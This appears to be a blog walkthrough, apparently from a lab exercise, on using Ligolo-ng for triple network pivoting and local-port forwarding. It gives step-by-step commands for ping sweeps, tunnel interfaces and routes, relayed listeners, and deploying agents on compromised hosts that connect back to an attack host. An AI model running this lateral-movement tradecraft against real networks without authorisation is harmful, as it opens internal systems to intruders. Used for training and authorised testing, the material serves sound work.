Triple Pivoting with Ligolo-ng

Network, Pivoting

I recently learned how to triple pivot and port forward with Ligolo-ng. So, I thought I’d write a post about it.

Ligolo-ng in Short #

Ligolo-ng is a versatile tool that supports port forwarding, pivoting, among other practical functions.

You can pivot multiple times and automatically forward all the local ports of a host once a tunnel is established, all with a simple command and a fast connection. Unlike other tools such as Chisel, which is more time consuming, and SSH tunneling, which is slower. Plus you don’t have to use proxychains.

My Pivoting Scenario #

By utilizing credential gathering techniques, I was able to establish an initial foothold on my target. Ping sweeps revealed multiple hosts within the target’s private subnet. Despite having valid credentials for these hosts, I lacked direct access. My objective now is to pivot further into the network to reach these inaccessible hosts.

Preparing to Pivot #

Identifying the Private Subnet #

My first step when pivoting is to identify the private subnet. I display the IP interfaces to identify the private subnet, which is the subnet 172.16.5.0/24 in this instance.

Image Description

Ping Sweeping #

I proceed to ping sweep the private subnet to identify any potential hosts.

for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done | tee hosts.txt

Image Description

Based on the TTL value of the host 172.16.5.35, it appears to be a Windows host. Since the foothold host is a Linux machine, its TTL value is 64 instead.

This Windows host is currently inaccessible from my attack host. Fortunately, I can use Ligolo-ng to establish a tunnel, giving me access to the same network.

Adding an Interface & Route #

Before establishing a tunnel to the network, I must first set up an interface for the Ligolo agent to connect to, along with an IP route for that interface.

ip tuntap add user $(whoami) mode tun ligolo && ip link set ligolo up  
ip route add 172.16.5.0/24 dev ligolo; ip route | grep ligolo

Image Description

Note that this can also be achieved within Ligolo’s proxy server, but I prefer to do it this way.

Proxy Listener #

With the interface configured, I can start the proxy listener on my attack host.

./proxy -selfcert -laddr 0.0.0.0:9001

Agent #

To connect to the listener, the public target host requires a Ligolo agent in order to link to my attack host’s Ligolo listener, essentially establishing a tunnel.

I start by transferring the agent to the target from my attack host with scp.

scp -i id_rsa agent webadmin@10.129.37.68:~/

Next, I connect to my attack host’s listener with the target host’s agent.

./agent -connect 10.10.16.38:9001 -ignore-cert

First Session #

Now that the target’s agent has connected to my listener, I select the agent and start the tunnel by entering the word session in my proxy server, pressing enter on the available session, and finally typing start to initiate the connection.

Image Description

What was once unreachable is now reachable. I’ve successfully pivoted to the first private subnet.

Double Pivot #

Identifying New Interfaces #

Using credentials I previously gathered, I connect to the private host discovered during the ping sweep and follow the same steps, starting with identifying new interfaces.

Image Description

Second Sweep #

On the subnet 172.16.6.0/24, I perform another ping sweep by running a bat file I uploaded via evil-winrm’s upload operation with the following contents.

@echo off
for /L %%i in (1,1,254) do ping 172.16.6.%%i -n 1 -w 100 | find "Reply"

I swept the subnet twice to ensure all hosts were discovered to ensure the arp cache gets built. As a result, four hosts were found on the subnet.

Image Description

Adding a Second Interface & Route #

With hosts found on the subnet, I would create an additional interface for the subnet.

ip tuntap add user $(whoami) mode tun ligolo2 && ip link set ligolo2 up  
ip route add 172.16.6.0/24 dev ligolo2

Second Listener #

Since this internal host can reach the public host but not my attack host, I need to create an additional listener on the connected agent to establish a tunnel, making the new subnet accessible from my attack host.

This can be done by starting a new listener on the current agent by entering the following command in the proxy server.

listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp

Image Description

Second Agent #

To make the subnet 172.16.6.0/24 accessible, I need to connect the internal host to the public host’s agent, which is linked to my listener.

Using evil-winrm’s upload operator, I uploaded the same agent to the internal host and ran the following command to connect it to the proxy server.

.\agent.exe -connect 172.16.5.15:9001 -ignore-cert

Second Session #

To initiate the tunnel to the internal host, I enter sessions in the current agent, select the new host using the down arrow and pressing enter, then entering start --tun ligolo2 to start the ligolo2 interface created earlier.

Image Description

With the tunnel established to the second private subnet, I decide to connect to the first host discovered in the internal host’s ping sweep, 172.16.6.25.

Triple Pivot #

Identifying New Interfaces #

Before the ping sweep, I identify new subnets to enumerate, as I did earlier.

Image Description

Third Ping Sweep #

I then uploaded the same ping sweep script, except this time it sweeps the new subnet, 172.16.10.0/24.

Image Description

Adding a Third Interface & Route #

The next step is to add a third interface with the new subnet as its route.

ip tuntap add user $(whoami) mode tun ligolo3 && ip link set ligolo3 up  
ip route add 172.16.10.0/24 dev ligolo3

Third Listener #

Before the the agent can connect, I must launch another listener for it on the latest session in the proxy server.

listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp

Third Agent #

I proceed to upload the agent, and connect to the agent that the second private host has access to, which in this case is the host 172.16.6.35.

.\agent.exe -connect 172.16.6.35:9001 -ignore-cert

Third Session #

After the agent connects to the listener, I select the newest session in the proxy server and start the tunnel to route traffic to the subnet 172.16.10.0/24 by entering start --tun ligolo3.

Image Description

Last Host #

With access to the target’s third private subnet, I perform a scan on the last remaining host that was discovered from the ping sweep on the 172.16.10.0/24 subnet.

Image Description

Pivoting Deeper #

By leveraging the same process to access the final two subnets, I can pivot even deeper with Ligolo-ng.

Port Forwarding Local Ports #

Ligolo-ng has a hardcoded CIDR (240.0.0.0/4) that is specifically used for redirecting a host’s local ports to the proxy server.

Port Forwarding the Public Host #

To forward the local ports of the host running the first Ligolo agent, I would assign an IP (e.g., 240.0.0.1) from the CIDR block 240.0.0.0/4 to the ligolo interface, which the agent is connected to.

ip route add 240.0.0.1/32 dev ligolo

The IP 240.0.0.1 will act as the localhost IP of the public host, providing me access to its local ports.

Image Description

Port Forwarding Internal Hosts #

To forward all local ports of the host that is linked to the ligolo2 interface.

ip route add 240.0.0.2/32 dev ligolo2

To avoid confusion, I assigned a different IP from Ligolo’s magic CIDR to the second interface, 240.0.0.2 in this instance.

Image Description

This method can be repeated for the third interface and any other interfaces, but the agent’s session must be active to ensure the ports are forwarded.